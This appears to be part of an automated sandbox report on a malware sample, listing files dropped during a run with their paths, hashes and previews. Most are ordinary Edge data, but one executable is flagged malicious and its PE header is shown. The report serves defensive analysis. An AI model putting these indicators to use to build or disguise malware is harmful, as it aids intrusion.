Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.018915904109125
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXPFCOY:YWLSGTt1o9LuLgfGBPAzkVj/T8ltLY
MD5:	AF03FFCF24A06E8F27425B7D4AE140A1
SHA1:	6DC9BC4166253F24C2126C465B0EEBCB762E5E45
SHA-256:	73FE5B10C59572F3146C06B8A24E88710A46F7F12F579A7F1EF7B04FD178AB4A
SHA-512:	1DD655367733D794ADB0B90DD920589DD599303AC14B9FDFCBFFA58FD99D89029C200B93A506C9AB437912A0BD42F23FE4766143CF8A3105408E7814111CCE5E
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732136439529383}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e831086a-4838-4a28-bb7f-86ec6e66feef.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44735
Entropy (8bit):	6.096228695870026
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4x+9LmZGfr9hUgZyKF5MKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7yOWfhOKoRTuiVIos
MD5:	B51AF22590D8AAA16D95E3F1662B4B69
SHA1:	3520962ABF7F1EED498D8E941366F8D21617452D
SHA-256:	598D3B72A06703E001BB8DDD20F450E763BEEBCD08AFC7CF955AEF01C5DF3CF4
SHA-512:	4C09413AD352FD3FEC28B42AE8A512A2421E29B76BDA6AA2855EB2180D8EE8980213F2A3DB12A7A2D01F8B16E1C5B58863FCD5DB7E699F1F44857E29E972B956
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.833284511684743
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxhxl9Il8uYX0Xm9409L2lGuGnMpboDXzd1rc:mkY80XKBL27GYb2XU
MD5:	5C93D01C169EC30E4DE6D013D05CB0D6
SHA1:	038752FE9CBF7DF49C2B42D56CFDFEE6A6A9CC88
SHA-256:	C2493EE526217EFB5EDC406AE887A9975C5A43093C52548310F85D844741FCED
SHA-512:	CFF5CB174043B500746C127289BFF1D4B788229A70025416B159482DF3692FB9A77FE33BD5D510A6AFD8C771B25A31BF53AE7D4E459E27AAFC66ED03592F24EA
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.D.0.F.8.a.w.6.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.8.S.4.c.c.U.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9950839211385905
Encrypted:	false
SSDEEP:	96:hYS4E3lKTTO4TQ8sNhspAZNgQ57YdIDurHK:hQc2A8swp8NVFIUurq
MD5:	015D4EA0F7D51A4FD3F96D9BC2EEEBF6
SHA1:	A4CE18F2853E8367C069A05AE1C992497E6B4762
SHA-256:	AAA755DDB46FA7C0A926D0519B61AA77DCF27E1193F6CA3DD299A4D7DA69A7B5
SHA-512:	3744F1A29A8AE3236767271333F3DF3855F433FB432B5778C6F0769710D937A97FFDF8F8D3704BFEAC44F05EAB958C1DCB80B7DF3154BC1FC4D6D86FC2C336A1
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".e.Y.C.K.1.q.Q.6.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.8.S.4.c.c.U.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9055788961309554
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xYxl9Il8u8b09AMS17qU2N0cAizwd/vc:a6YK0eZNy0cAk
MD5:	BC4CBFCE1FF1E01617E9B8C53BA9D585
SHA1:	06A35A733999B1BE105312C78E49D89B278B7D89
SHA-256:	5B06356832E70C9AFC6E3619AF5A240C378D348EABBD86221342559A76662BFD
SHA-512:	36BF0E880217D590FB5E085A455B2B4FA0EA85094F2E99EC612086E139B5D1B948DE9A3CBC4043BD54493DDDA2C80FB42AC970F77592F958E40F579D144663B3
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".3.g.N.r.B.3.Z.Z.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.8.S.4.c.c.U.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4408320
Entropy (8bit):	7.985877473226836
Encrypted:	false
SSDEEP:	98304:DfbVCeb1XUA3wl7sKLjY3/dsDHmDOGw/HgMGnee:7bo4UZlJLs3/nDOGw/Hgrz
MD5:	380A232D2A56B308FFDA46696D44CA41
SHA1:	413AB9351C25403325FBAEC6A549ABBE41734417
SHA-256:	2EAD0592BDECC1B63818ADB622EF0EDC22A39F6855566F40D1AA7D2B1D00CC7F
SHA-512:	1BBF6B4B546BF094B55707528B5A73783A1E1E50E7948D70CD1C251454CC1C7DD82D0981D030137F78BA14985784D8761EB702687DCF49D17A677FF19FBBD561
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....9g...............(..H...g..2............H...@..................................C...@... ............................._pe.s...........................P....................................................................................... . .Pe......l'.................@....rsrc .....`e......\|'.............@....idata .....pe......\|'.............@... .p8...e......~'.............@...wqksuucf.............'.............@...rqjjbrey..............C.............@....taggant.0......."..."C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
